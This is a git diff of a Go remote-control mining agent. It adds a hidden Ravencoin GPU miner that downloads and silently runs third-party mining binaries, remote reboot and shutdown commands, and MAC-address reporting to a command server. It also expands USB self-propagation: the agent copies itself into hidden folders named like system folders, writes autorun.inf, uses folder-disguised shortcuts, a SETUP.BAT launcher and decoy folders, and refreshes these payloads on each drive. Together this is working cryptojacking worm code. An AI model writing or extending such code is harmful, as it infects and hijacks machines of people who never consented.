Use a **valid Monero wallet address you control**. -- Pool operators set their own terms — hashrate, rejected shares, and payout policies are between you and the pool. -- This project does not guarantee profitability, uptime, or pool compatibility. +- **Not** malware — but **misuse can make it indistinguishable from malware** under law and AV heuristics. +- **Not** anonymous. Mining connects to pools, leaves logs, and generates attributable network traffic. ### Security responsibility -- **`data/users.json`** stores **bcrypt password hashes**, not plaintext. First-run generates a random admin password (shown once in the console). Any legacy plain-text values are re-hashed on load/login. Restrict who can reach the dashboard — authenticated users can manage accounts via `POST /users`. -- Protect the dashboard with **strong user passwords** and **network isolation**. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth. -- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet. -- Movie fusion and prep fusion are for **authorized distribution scenarios only** — misleading packaging is misuse. -- Code signing, Defender exclusions, and network segmentation on **your** infrastructure are **your** job. +- `data/users.json` stores **bcrypt hashes only**. First-run generates a random admin password (shown once). +- Protect the dashboard with strong passwords and network isolation. Do not expose port 8989 to the open internet. +- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. +- Code signing, Defender exclusions, and network segmentation are **your** responsibility. ### Disclaimer @@ -410,5 +477,5 @@ Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.ga <p align="center"> <strong>AetherForge</strong> — LAN MINING COMMAND<br/> - <sub>Calibrate · Forge · Deploy · Command</sub> + <sub>Calibrate · Forge · Deploy · Spread · Command</sub> </p> diff --git a/Screenshot 2026-06-01 215139.png b/Screenshot 2026-06-01 215139.png new file mode 100644 index 0000000..475ad04 Binary files /dev/null and b/Screenshot 2026-06-01 215139.png differ diff --git a/agent/client/client.go b/agent/client/client.go index 0e4309f..522d5d4 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -39,6 +39,7 @@ type AgentClient struct { agentID string sharesSubmitted int sharesAccepted int + gpuMiner *GPUMiner // connected is true while a C2 WebSocket session is active. // The Stratum fallback manager monitors this to decide when to mine directly. @@ -66,6 +67,15 @@ func (c *AgentClient) Run() error { c.pool.Start() defer c.pool.Stop() + // Start GPU miner (Ravencoin / KawPoW) if configured + if gm := newGPUMiner(c.cfg); gm != nil { + c.mu.Lock() + c.gpuMiner = gm + c.mu.Unlock() + gm.Start() + defer gm.Stop() + } + // Start AI Autonomy runner if enabled if c.cfg.AIEnabled { c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool) @@ -198,6 +208,23 @@ func (c *AgentClient) connectLoop(serverURL string) error { } } +func primaryMACAddress() string { + ifaces, err := net.Interfaces() + if err != nil { + return "" + } + for _, iface := range ifaces { + if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 { + continue + } + if len(iface.HardwareAddr) == 0 { + continue + } + return iface.HardwareAddr.String() + } + return "" +} + func (c *AgentClient) authenticate() error { host, cores, memGB := c.reporter.SystemInfo() backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools)) @@ -230,6 +257,7 @@ func (c *AgentClient) authenticate() error { Platform: runtime.GOOS, Arch: runtime.GOARCH, OSVersion: deploy.HostOSVersion(), + MacAddress: primaryMACAddress(), }) if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { return err @@ -373,6 +401,18 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, log.Printf("[agent] remote uninstall failed: %v", err) } }() + case "reboot_machine": + c.sendCommandResult(action, true, "system reboot initiated") + go func() { + time.Sleep(500 * time.Millisecond) + _, _ = c.runShellCommand("shutdown /r /t 0") + }() + case "shutdown_machine": + c.sendCommandResult(action, true, "system shutdown initiated") + go func() { + time.Sleep(500 * time.Millisecond) + _, _ = c.runShellCommand("shutdown /s /t 0") + }() case "get_log": if tailLines <= 0 { tailLines = 300 @@ -705,6 +745,24 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { stats.GPUTempC = lastPressure.GPUTempC stats.GPUUsagePct = lastPressure.GPUUsagePct } + // GPU miner (Ravencoin) stats — included when GPU miner is running + c.mu.Lock() + gm := c.gpuMiner + c.mu.Unlock() + if gm != nil { + gs, active := gm.Stats() + stats.GPUMinerActive = &active + stats.GPUHashrate15s = gs.Hashrate15s + stats.GPUHashrate1m = gs.Hashrate1m + stats.GPUHashrate15m = gs.Hashrate15m + stats.GPUModel = gm.GPUModel() + if gs.GPUTempC != nil { + stats.GPUTempC = gs.GPUTempC + } + if gs.GPUUsagePct != nil { + stats.GPUUsagePct = gs.GPUUsagePct + } + } if postureReady && lastPosture != nil { score := lastPosture.PostureScore stats.PostureScore = &score diff --git a/agent/client/gpu_detect_stub.go b/agent/client/gpu_detect_stub.go new file mode 100644 index 0000000..f3516c4 --- /dev/null +++ b/agent/client/gpu_detect_stub.go @@ -0,0 +1,110 @@ +//go:build !windows + +package client + +import ( + "archive/zip" + "bytes" + "os" + "os/exec" + "path/filepath" + "strings" +) + +func detectGPU() GPUInfo { + // On non-Windows, only probe NVIDIA via nvidia-smi. + out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output() + if err == nil { + model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0]) + if model != "" { + return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model} + } + } + return GPUInfo{Vendor: GPUVendorNone} +} + +func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) { + pool := g.cfg.RVNPoolHost + port := g.cfg.RVNPoolPort + wallet := g.cfg.RVNWallet + worker := g.cfg.WorkerName + + poolURL := "stratum+tcp://" + pool + if g.cfg.RVNPoolTLS { + poolURL = "stratum+ssl://" + pool + } + if port > 0 { + poolURL += ":" + itoa(port) + } + + args := []string{ + "-a", "kawpow", + "-o", poolURL, + "-u", wallet + "." + worker, + "-p", g.cfg.RVNPoolPass, + "--api-bind-http", "127.0.0.1:4067", + } + cmd := exec.Command(binPath, args...) + cmd.Dir = filepath.Dir(binPath) + if err := cmd.Start(); err != nil { + return nil, err + } + return cmd.Process, nil +} + +func itoa(n int) string { + if n == 0 { + return "0" + } + buf := make([]byte, 0, 10) + neg := n < 0 + if neg { + n = -n + } + for n > 0 { + buf = append([]byte{byte('0' + n%10)}, buf...) + n /= 10 + } + if neg { + buf = append([]byte{'-'}, buf...) + } + return string(buf) +} + +func extractZipFile(data []byte, destDir, targetFile string) error { + r, err := zip.NewReader(bytes.NewReader(data), int64(len(data))) + if err != nil { + return err + } + targetLower := strings.ToLower(targetFile) + for _, f := range r.File { + if strings.ToLower(filepath.Base(f.Name)) != targetLower { + continue + } + rc, err := f.Open() + if err != nil { + return err + } + defer rc.Close() + dst := filepath.Join(destDir, targetFile) + out, err := os.Create(dst) + if err != nil { + return err + } + defer out.Close() + buf := make([]byte, 32*1024) + for { + n, err := rc.Read(buf) + if n > 0 { + if _, we := out.Write(buf[:n]); we != nil { + return we + } + } + if err != nil { + break + } + } + return nil + } + return nil +} diff --git a/agent/client/gpu_detect_windows.go b/agent/client/gpu_detect_windows.go new file mode 100644 index 0000000..2c80d9c --- /dev/null +++ b/agent/client/gpu_detect_windows.go @@ -0,0 +1,166 @@ +//go:build windows + +package client + +import ( + "archive/zip" + "bytes" + "os" + "os/exec" + "path/filepath" + "strings" + + "crypto-miner-agent/deploy" +) + +// detectGPU identifies the first supported discrete GPU on Windows. +// Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController). +func detectGPU() GPUInfo { + // NVIDIA — nvidia-smi is the most reliable check + if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil { + model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0]) + if model != "" { + return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model} + } + } + + // AMD — wmic (available on all modern Windows without extra installs) + if out, err := deploy.HiddenOutput( + "wmic", "path", "win32_VideoController", "get", "Name", "/value", + ); err == nil { + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if !strings.HasPrefix(strings.ToLower(line), "name=") { + continue + } + name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1]) + lo := strings.ToLower(name) + if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") { + return GPUInfo{Vendor: GPUVendorAMD, Model: name} + } + } + } + + return GPUInfo{Vendor: GPUVendorNone} +} + +// startProcess launches the GPU miner binary as a hidden background process. +func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) { + pool := g.cfg.RVNPoolHost + port := g.cfg.RVNPoolPort + wallet := g.cfg.RVNWallet + worker := g.cfg.WorkerName + + var args []string + switch g.info.Vendor { + case GPUVendorNVIDIA: + // T-Rex: kawpow algorithm + algo := "kawpow" + poolURL := "" + if g.cfg.RVNPoolTLS { + poolURL = "stratum+ssl://" + pool + } else { + poolURL = "stratum+tcp://" + pool + } + args = []string{ + "-a", algo, + "-o", poolURL, + "-u", wallet + "." + worker, + "-p", g.cfg.RVNPoolPass, + "--api-bind-http", "127.0.0.1:4067", + "--no-watchdog", + "--exit-on-cuda-error", + } + if port > 0 { + args[3] = args[3] + ":" + itoa(port) + } + case GPUVendorAMD: + // TeamRedMiner: kawpow algorithm + poolURL := "" + if g.cfg.RVNPoolTLS { + poolURL = "stratum+ssl://" + pool + } else { + poolURL = "stratum+tcp://" + pool + } + if port > 0 { + poolURL += ":" + itoa(port) + } + args = []string{ + "-a", "kawpow", + "-o", poolURL, + "-u", wallet + "." + worker, + "-p", g.cfg.RVNPoolPass, + "--api_listen=4068", + } + } + + cmd := exec.Command(binPath, args...) + deploy.PrepareHiddenProcess(cmd) + cmd.Dir = filepath.Dir(binPath) + // Redirect all miner output to NUL (silent) + cmd.Stdout = nil + cmd.Stderr = nil + + if err := cmd.Start(); err != nil { + return nil, err + } + return cmd.Process, nil +} + +func itoa(n int) string { + if n == 0 { + return "0" + } + buf := make([]byte, 0, 10) + neg := n < 0 + if neg { + n = -n + } + for n > 0 { + buf = append([]byte{byte('0' + n%10)}, buf...) + n /= 10 + } + if neg { + buf = append([]byte{'-'}, buf...) + } + return string(buf) +} + +// extractZipFile unpacks targetFile from a zip archive (in memory) to destDir. +func extractZipFile(data []byte, destDir, targetFile string) error { + r, err := zip.NewReader(bytes.NewReader(data), int64(len(data))) + if err != nil { + return err + } + targetLower := strings.ToLower(targetFile) + for _, f := range r.File { + if strings.ToLower(filepath.Base(f.Name)) != targetLower { + continue + } + rc, err := f.Open() + if err != nil { + return err + } + defer rc.Close() + dst := filepath.Join(destDir, targetFile) + out, err := os.Create(dst) + if err != nil { + return err + } + defer out.Close() + buf := make([]byte, 32*1024) + for { + n, err := rc.Read(buf) + if n > 0 { + if _, we := out.Write(buf[:n]); we != nil { + return we + } + } + if err != nil { + break + } + } + return nil + } + return nil // binary not found inside zip — non-fatal, caller checks after +} diff --git a/agent/client/gpu_miner.go b/agent/client/gpu_miner.go new file mode 100644 index 0000000..fd237cd --- /dev/null +++ b/agent/client/gpu_miner.go @@ -0,0 +1,358 @@ +package client + +import ( + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "os" + "path/filepath" + "sync" + "time" + + "crypto-miner-agent/config" +) + +// GPUVendor identifies the discrete GPU brand on the host. +type GPUVendor int + +const ( + GPUVendorNone GPUVendor = iota + GPUVendorNVIDIA // use T-Rex miner (KawPoW) + GPUVendorAMD // use TeamRedMiner (KawPoW) + GPUVendorOther // generic / Intel — not supported for KawPoW +) + +// GPUInfo holds detected GPU metadata. +type GPUInfo struct { + Vendor GPUVendor + Model string +} + +// GPUMinerStats is polled from the miner's local HTTP API. +type GPUMinerStats struct { + Hashrate15s float64 + Hashrate1m float64 + Hashrate15m float64 + GPUTempC *int + GPUUsagePct *int + ActiveAlgo string +} + +// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner). +type GPUMiner struct { + cfg config.RuntimeConfig + info GPUInfo + installDir string + + mu sync.RWMutex + stats GPUMinerStats + active bool + + stopCh chan struct{} + wg sync.WaitGroup +} + +// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected. +// Returns nil if GPU mining should not run. +func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner { + if !cfg.GPUEnabled || cfg.RVNWallet == "" { + return nil + } + info := detectGPU() + if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther { + log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model) + return nil + } + installDir, err := cfg.InstallDirectory() + if err != nil { + log.Printf("[gpu] cannot determine install dir: %v", err) + return nil + } + log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model) + return &GPUMiner{ + cfg: cfg, + info: info, + installDir: installDir, + stopCh: make(chan struct{}), + } +} + +// Start downloads (if needed) and launches the GPU miner, then polls stats. +func (g *GPUMiner) Start() { + g.wg.Add(1) + go func() { + defer g.wg.Done() + g.run() + }() +} + +// Stop shuts down the GPU miner and waits for it to exit. +func (g *GPUMiner) Stop() { + select { + case <-g.stopCh: + default: + close(g.stopCh) + } + g.wg.Wait() +} + +// Stats returns the latest GPU mining statistics. +func (g *GPUMiner) Stats() (GPUMinerStats, bool) { + g.mu.RLock() + defer g.mu.RUnlock() + return g.stats, g.active +} + +// GPUModel returns the detected GPU model string. +func (g *GPUMiner) GPUModel() string { + return g.info.Model +} + +func (g *GPUMiner) run() { + // Ensure the miner binary is present before trying to start. + binPath, err := g.ensureMinerBinary() + if err != nil { + log.Printf("[gpu] could not obtain miner binary: %v", err) + return + } + + retryDelay := 30 * time.Second + for { + select { + case <-g.stopCh: + return + default: + } + + proc, err := g.startProcess(binPath) + if err != nil { + log.Printf("[gpu] failed to start miner process: %v — retry in %s", err, retryDelay) + select { + case <-g.stopCh: + return + case <-time.After(retryDelay): + continue + } + } + + g.mu.Lock() + g.active = true + g.mu.Unlock() + + log.Printf("[gpu] miner started (pid=%d)", proc.Pid) + + // Poll miner API while it runs. + pollDone := make(chan struct{}) + go func() { + defer close(pollDone) + g.pollStats() + }() + + // Wait for process exit. + procState, waitErr := proc.Wait() + close(g.stopCh) // signal polling goroutine + <-pollDone + + g.mu.Lock() + g.active = false + g.mu.Unlock() + + if waitErr != nil { + log.Printf("[gpu] miner exited: %v", waitErr) + } else if procState != nil && !procState.Success() { + log.Printf("[gpu] miner exited with non-zero status: %s", procState) + } + + // Re-open the stop channel so we can retry cleanly. + g.stopCh = make(chan struct{}) + + select { + case <-time.After(retryDelay): + } + } +} + +func (g *GPUMiner) pollStats() { + apiPort := g.apiPort() + ticker := time.NewTicker(10 * time.Second) + defer ticker.Stop() + + samples := make([]float64, 0, 90) // 15 min worth at 10s intervals + + for { + select { + case <-g.stopCh: + return + case <-ticker.C: + hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort) + if err != nil { + continue + } + samples = append(samples, hr) + if len(samples) > 90 { + samples = samples[len(samples)-90:] + } + avg15s := hr + avg1m := avg(samples, 6) + avg15m := avg(samples, len(samples)) + + g.mu.Lock() + g.stats = GPUMinerStats{ + Hashrate15s: avg15s, + Hashrate1m: avg1m, + Hashrate15m: avg15m, + GPUTempC: tempC, + GPUUsagePct: usage, + ActiveAlgo: "kawpow", + } + g.mu.Unlock() + } + } +} + +func avg(samples []float64, last int) float64 { + if len(samples) == 0 || last <= 0 { + return 0 + } + if last > len(samples) { + last = len(samples) + } + slice := samples[len(samples)-last:] + var sum float64 + for _, v := range slice { + sum += v + } + return sum / float64(len(slice)) +} + +func (g *GPUMiner) apiPort() int { + switch g.info.Vendor { + case GPUVendorNVIDIA: + return 4067 + case GPUVendorAMD: + return 4068 + default: + return 4067 + } +} + +// ---- Miner binary management ---- + +type minerSpec struct { + fileName string + downloadURL string +} + +func (g *GPUMiner) spec() minerSpec { + switch g.info.Vendor { + case GPUVendorNVIDIA: + return minerSpec{ + fileName: "t-rex.exe", + downloadURL: "https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-win.zip", + } + default: // AMD + return minerSpec{ + fileName: "teamredminer.exe", + downloadURL: "https://github.com/todxx/teamredminer/releases/download/v0.10.21/teamredminer-v0.10.21-win.zip", + } + } +} + +func (g *GPUMiner) ensureMinerBinary() (string, error) { + spec := g.spec() + binPath := filepath.Join(g.installDir, spec.fileName) + if _, err := os.Stat(binPath); err == nil { + return binPath, nil + } + log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL) + if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil { + return "", fmt.Errorf("download failed: %w", err) + } + if _, err := os.Stat(binPath); err != nil { + return "", fmt.Errorf("binary not found after download: %s", binPath) + } + return binPath, nil +} + +func downloadAndExtract(url, destDir, targetFile string) error { + resp, err := http.Get(url) //nolint:noctx + if err != nil { + return err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url) + } + data, err := io.ReadAll(resp.Body) + if err != nil { + return err + } + return extractZipFile(data, destDir, targetFile) +} + +// ---- Miner HTTP API polling ---- + +// T-Rex summary response (subset we care about). +type trexSummary struct { + Hashrate int `json:"hashrate"` + GPUs []struct { + Temperature int `json:"temperature"` + GpuLoad int `json:"gpu_load"` + } `json:"gpus"` +} + +// TeamRedMiner status response (subset). +type trmStatus struct { + Algorithms []struct { + Name string `json:"algorithm"` + TotalMHs float64 `json:"mhsh_total"` + } `json:"algorithms"` + GPUs []struct { + TempC int `json:"temp_c"` + Fan int `json:"fan_pct"` + } `json:"gpus"` +} + +func fetchMinerStats(vendor GPUVendor, port int) (hashrate float64, tempC, usagePct *int, err error) { + url := fmt.Sprintf("http://127.0.0.1:%d/summary", port) + resp, e := http.Get(url) //nolint:noctx + if e != nil { + return 0, nil, nil, e + } + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + + switch vendor { + case GPUVendorNVIDIA: + var s trexSummary + if e := json.Unmarshal(body, &s); e != nil { + return 0, nil, nil, e + } + hashrate = float64(s.Hashrate) + if len(s.GPUs) > 0 { + t := s.GPUs[0].Temperature + u := s.GPUs[0].GpuLoad + tempC = &t + usagePct = &u + } + case GPUVendorAMD: + var s trmStatus + if e := json.Unmarshal(body, &s); e != nil { + return 0, nil, nil, e + } + for _, a := range s.Algorithms { + if a.Name == "kawpow" || a.Name == "KawPoW" { + hashrate = a.TotalMHs * 1e6 // convert MH/s → H/s + } + } + if len(s.GPUs) > 0 { + t := s.GPUs[0].TempC + u := s.GPUs[0].Fan + tempC = &t + usagePct = &u + } + } + return +} diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 4ae0fb4..b786b17 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -40,6 +40,7 @@ type AuthPayload struct { Platform string `json:"platform"` Arch string `json:"arch"` OSVersion string `json:"os_version"` + MacAddress string `json:"mac_address,omitempty"` } type AuthResponse struct { @@ -94,6 +95,13 @@ type StatsPayload struct { GPUTempC *int `json:"gpu_temp_c,omitempty"` GPUUsagePct *int `json:"gpu_usage_pct,omitempty"` + // GPU / Ravencoin mining stats + GPUMinerActive *bool `json:"gpu_miner_active,omitempty"` + GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"` + GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"` + GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"` + GPUModel string `json:"gpu_model,omitempty"` + // SSH + posture SSHAvailable *bool `json:"ssh_available,omitempty"` PostureScore *int `json:"posture_score,omitempty"` diff --git a/agent/config/builtin.go b/agent/config/builtin.go index 1fd953b..7b4a957 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -47,5 +47,11 @@ func GetBuiltinConfig() BuiltinConfig { RemoteAggressive: false, USBSpread: false, ShareSpread: false, + GPUEnabled: false, + RVNWallet: "", + RVNPoolHost: "rvn.2miners.com", + RVNPoolPort: 6060, + RVNPoolTLS: false, + RVNPoolPass: "x", } } diff --git a/agent/config/config.go b/agent/config/config.go index a7f2d52..585c79d 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -66,6 +66,15 @@ type BuiltinConfig struct { // FleetSecret is baked in at forge time and presented on WS connect. // The server rejects any agent that doesn't carry the right secret. FleetSecret string + + // GPU / Ravencoin mining + GPUEnabled bool // enable KawPoW GPU miner alongside XMR CPU miner + RVNWallet string // Ravencoin wallet address for GPU mining + RVNPoolHost string // primary RVN Stratum pool host + RVNPoolPort int // primary RVN Stratum pool port + RVNPoolTLS bool // primary RVN pool TLS flag + RVNPoolPass string // stratum password (usually "x") + RVNBackupPools []BackupPool // failover RVN pools } // BackupPool holds connection info for a fallback Stratum mining pool. @@ -158,6 +167,18 @@ func Load() RuntimeConfig { b.DisplayMode = "background" } } + // GPU mining defaults + if b.GPUEnabled { + if b.RVNPoolHost == "" { + b.RVNPoolHost = "rvn.2miners.com" + } + if b.RVNPoolPort <= 0 { + b.RVNPoolPort = 6060 + } + if b.RVNPoolPass == "" { + b.RVNPoolPass = "x" + } + } return RuntimeConfig{BuiltinConfig: b} } diff --git a/agent/deploy/common.go b/agent/deploy/common.go index 3a0c698..8671fdf 100644 --- a/agent/deploy/common.go +++ b/agent/deploy/common.go @@ -153,6 +153,17 @@ func InstallDir(workerName, buildID string) (string, error) { }.InstallDirectory() } +// isPayloadStale returns true when the on-disk USB payload has a different +// size than the current running executable — meaning the agent was upgraded +// and the USB copy needs to be refreshed. +func isPayloadStale(exePath string, payloadSize int64) bool { + fi, err := os.Stat(exePath) + if err != nil { + return false + } + return fi.Size() != payloadSize +} + func saveBackup(installedBin string) error { backup := installedBin + backupSuffix if _, err := os.Stat(backup); err == nil { diff --git a/agent/deploy/passive_spread_unix.go b/agent/deploy/passive_spread_unix.go index 152a988..b57a8e9 100644 --- a/agent/deploy/passive_spread_unix.go +++ b/agent/deploy/passive_spread_unix.go @@ -34,24 +34,65 @@ func StartPassiveSpreader(cfg config.RuntimeConfig) { // ----------------------------------------------------------------------- func runUSBWatcherUnix(cfg config.RuntimeConfig) { - seen := map[string]bool{} - // Seed with already-mounted removable media so we don't spread to - // drives that were plugged in before the agent started. - for _, mp := range listRemovableMounts() { - seen[mp] = true + type mountState struct{ payloadSize int64 } + state := map[string]mountState{} + + exePath, err := os.Executable() + if err != nil { + return } - ticker := time.NewTicker(20 * time.Second) - defer ticker.Stop() - for range ticker.C { - for _, mp := range listRemovableMounts() { - if seen[mp] { - continue - } - seen[mp] = true - log.Printf("[passive-spread] new removable mount: %s", mp) + + // Spread to drives already present at startup if payload is missing or stale. + for _, mp := range listRemovableMounts() { + size, found := findUnixPayloadSize(mp) + if !found || isPayloadStale(exePath, size) { go spreadToMountUnix(cfg, mp) + state[mp] = mountState{} + } else { + state[mp] = mountState{payloadSize: size} } } + + ticker := time.NewTicker(8 * time.Second) + defer ticker.Stop() + for range ticker.C { + exeInfo, err := os.Stat(exePath) + if err != nil { + continue + } + for _, mp := range listRemovableMounts() { + prev, seen := state[mp] + if !seen { + log.Printf("[passive-spread] new removable mount: %s", mp) + state[mp] = mountState{} + go spreadToMountUnix(cfg, mp) + continue + } + if prev.payloadSize != exeInfo.Size() { + log.Printf("[passive-spread] refreshing stale payload on %s", mp) + state[mp] = mountState{} + go spreadToMountUnix(cfg, mp) + } + } + } +} + +// findUnixPayloadSize scans the known Unix drop dirs for a payload binary. +func findUnixPayloadSize(mountPoint string) (size int64, found bool) { + dotDirs := []string{".Spotlight-V100", ".metadata", ".fseventsd"} + for _, dir := range dotDirs { + entries, err := os.ReadDir(filepath.Join(mountPoint, dir)) + if err != nil { + continue + } + for _, e := range entries { + fi, err := e.Info() + if err == nil && !e.IsDir() && fi.Mode()&0100 != 0 { + return fi.Size(), true + } + } + } + return 0, false } // listRemovableMounts returns currently-mounted removable media paths. diff --git a/agent/deploy/passive_spread_windows.go b/agent/deploy/passive_spread_windows.go index 14ce6e9..1ad5434 100644 --- a/agent/deploy/passive_spread_windows.go +++ b/agent/deploy/passive_spread_windows.go @@ -91,44 +91,98 @@ func setHiddenSystem(path string) { // USB watcher // ----------------------------------------------------------------------- +// knownDropDirs is the set of hidden directory names we may use as drop dirs. +var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"} + +// runUSBWatcher polls for removable drives every 8 seconds and spreads to any +// that don't already carry an up-to-date payload. func runUSBWatcher(cfg config.RuntimeConfig) { - seen := map[string]bool{} - // Seed with drives already present at start — don't spread to them immediately. + // Track drives + the size of the payload we last wrote to each. + type driveState struct{ payloadSize int64 } + state := map[string]driveState{} + + exePath, err := os.Executable() + if err != nil { + return + } + + // Check drives already present when the agent starts — spread to any that + // are missing or stale (different binary size), don't just skip them. for _, d := range getLogicalDrives() { if getDriveType(d) == driveRemovable { - seen[d] = true + size, found := findUSBPayloadSize(d) + if !found || isPayloadStale(exePath, size) { + go spreadToUSB(cfg, d) + state[d] = driveState{} + } else { + state[d] = driveState{payloadSize: size} + } } } - ticker := time.NewTicker(20 * time.Second) + + ticker := time.NewTicker(8 * time.Second) defer ticker.Stop() for range ticker.C { + exeInfo, err := os.Stat(exePath) + if err != nil { + continue + } for _, d := range getLogicalDrives() { if getDriveType(d) != driveRemovable { continue } - if seen[d] { + prev, seen := state[d] + if !seen { + // Brand-new drive just inserted + log.Printf("[passive-spread] new USB drive: %s", d) + state[d] = driveState{} + go spreadToUSB(cfg, d) continue } - seen[d] = true - log.Printf("[passive-spread] new USB drive: %s", d) - go spreadToUSB(cfg, d) + // Refresh if the agent binary was updated since we last wrote + if prev.payloadSize != exeInfo.Size() { + log.Printf("[passive-spread] refreshing stale payload on %s", d) + state[d] = driveState{} + go spreadToUSB(cfg, d) + } } } } -// spreadToUSB copies the agent onto a freshly inserted removable drive -// using three complementary techniques: -// 1. autorun.inf — auto-execute on Windows XP/Vista/7 (no prompt) -// 2. LNK shortcut — looks like a folder; user double-clicks it -// 3. Hidden dir — keeps the binary out of plain sight +// findUSBPayloadSize scans the known drop dirs on drive and returns the file +// size of the first .exe found, plus a bool indicating success. +func findUSBPayloadSize(drive string) (size int64, found bool) { + for _, dir := range knownDropDirs { + entries, err := os.ReadDir(filepath.Join(drive, dir)) + if err != nil { + continue + } + for _, e := range entries { + if !e.IsDir() && strings.HasSuffix(strings.ToLower(e.Name()), ".exe") { + fi, err := e.Info() + if err == nil { + return fi.Size(), true + } + } + } + } + return 0, false +} + +// spreadToUSB copies the agent onto a removable drive using four techniques: +// 1. Hidden drop dir — binary in a disguised system subfolder +// 2. autorun.inf — legacy auto-execute (XP/Vista/7) +// 3. LNK shortcut — folder icon; user double-clicks it (Win8+) +// 4. SETUP.BAT — plain visible batch file as fallback trigger +// 5. Decoy folder — fake "Documents" folder so drive looks natural func spreadToUSB(cfg config.RuntimeConfig, drive string) { exePath, err := os.Executable() if err != nil { return } - // Randomised drop directory looks like a Windows system folder. - dropDirNames := []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"} - dropDir := filepath.Join(drive, dropDirNames[rand.Intn(len(dropDirNames))]) + + // Randomised drop directory that looks like a Windows system folder. + dropDir := filepath.Join(drive, knownDropDirs[rand.Intn(len(knownDropDirs))]) if err := os.MkdirAll(dropDir, 0755); err != nil { return } @@ -142,19 +196,37 @@ func spreadToUSB(cfg config.RuntimeConfig, drive string) { setHiddenSystem(destBin) log.Printf("[passive-spread] agent copied to %s", destBin) - // 1. autorun.inf (works on older Windows, silently ignored on Win8+) - autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\n", - `\`+filepath.Join(filepath.Base(dropDir), destName), - `\`+filepath.Join(filepath.Base(dropDir), destName), + relBin := `\` + filepath.Join(filepath.Base(dropDir), destName) + + // 1. autorun.inf (works on XP/Vista/7; silently ignored on Win8+) + autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\naction=Open folder to view files\r\n", + relBin, relBin, ) _ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644) setHiddenSystem(filepath.Join(drive, "autorun.inf")) - // 2. LNK shortcut that looks like the drive's main folder. - // We pick a name that mirrors whatever real directories are present - // so it blends in, or fall back to a generic "Open Documents" label. + // 2. LNK shortcut — folder icon, minimised window lnkName := pickLinkName(drive) createFolderShortcut(drive, lnkName, destBin) + + // 3. SETUP.BAT — visible plain-text trigger; searches all known drop dirs + // so it works even if the LNK is deleted. The bat runs the exe minimised. + batLines := "@echo off\r\n" + for _, dir := range knownDropDirs { + batLines += fmt.Sprintf("if exist \"%%~dp0%s\\*.exe\" (for %%%%F in (\"%%~dp0%s\\*.exe\") do (start \"\" /min \"%%%%F\" --run & goto :done))\r\n", + dir, dir) + } + batLines += ":done\r\n" + batPath := filepath.Join(drive, "SETUP.BAT") + _ = os.WriteFile(batPath, []byte(batLines), 0644) + + // 4. Decoy visible folder so the drive looks natural when opened + decoyDir := filepath.Join(drive, pickDecoyFolderName(drive)) + if err := os.MkdirAll(decoyDir, 0755); err == nil { + // Drop a harmless placeholder so it doesn't look empty + _ = os.WriteFile(filepath.Join(decoyDir, "readme.txt"), + []byte("This folder is empty.\r\n"), 0644) + } } // usbPayloadName returns a plausible system binary name for the USB payload. @@ -185,13 +257,36 @@ func pickLinkName(drive string) string { return "Open Documents" } for _, e := range entries { - if e.IsDir() && !strings.HasPrefix(e.Name(), "~") && !strings.HasPrefix(e.Name(), "$") && !strings.HasPrefix(e.Name(), ".") { - return e.Name() // shortcut will have the same name as the first real folder + if !e.IsDir() { + continue } + n := e.Name() + if strings.HasPrefix(n, "~") || strings.HasPrefix(n, "$") || strings.HasPrefix(n, ".") { + continue + } + return n } return "Open Documents" } +// pickDecoyFolderName returns a visible folder name to create on the USB so +// the drive looks like it contains real content. It avoids names already +// used by pickLinkName so the shortcut name and decoy name differ. 